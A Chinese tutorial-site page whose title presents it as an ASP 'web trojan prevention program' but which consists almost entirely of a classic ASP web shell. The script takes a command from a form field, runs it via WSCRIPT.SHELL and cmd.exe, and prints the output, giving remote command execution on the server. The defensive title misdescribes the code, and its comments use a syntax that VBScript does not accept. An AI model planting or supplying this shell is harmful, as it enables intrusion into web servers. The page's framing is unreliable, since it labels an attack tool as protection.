最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
asp网页木马防止程序
时间:2022-06-30 09:14:17 编辑:袖梨 来源:一聚教程网
<title>asp网页木马防止程序</title>我们能过防止shell命令来做的.
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
相关文章
- 功夫熊猫:神龙大侠官网首页入口 功夫熊猫:神龙大侠官方网站 04-08
- 问剑长生官方网址 问剑长生首页入口 04-08
- 对决!剑之川官网首页入口 对决!剑之川官方网站 04-08
- 剑中官方网页入口 剑中首页入口 04-08
- 暗区突围:无限官方网站入口 暗区突围:无限官方网页版 04-08
- claudeCode官网入口 claudeCode官网中文版地址 04-08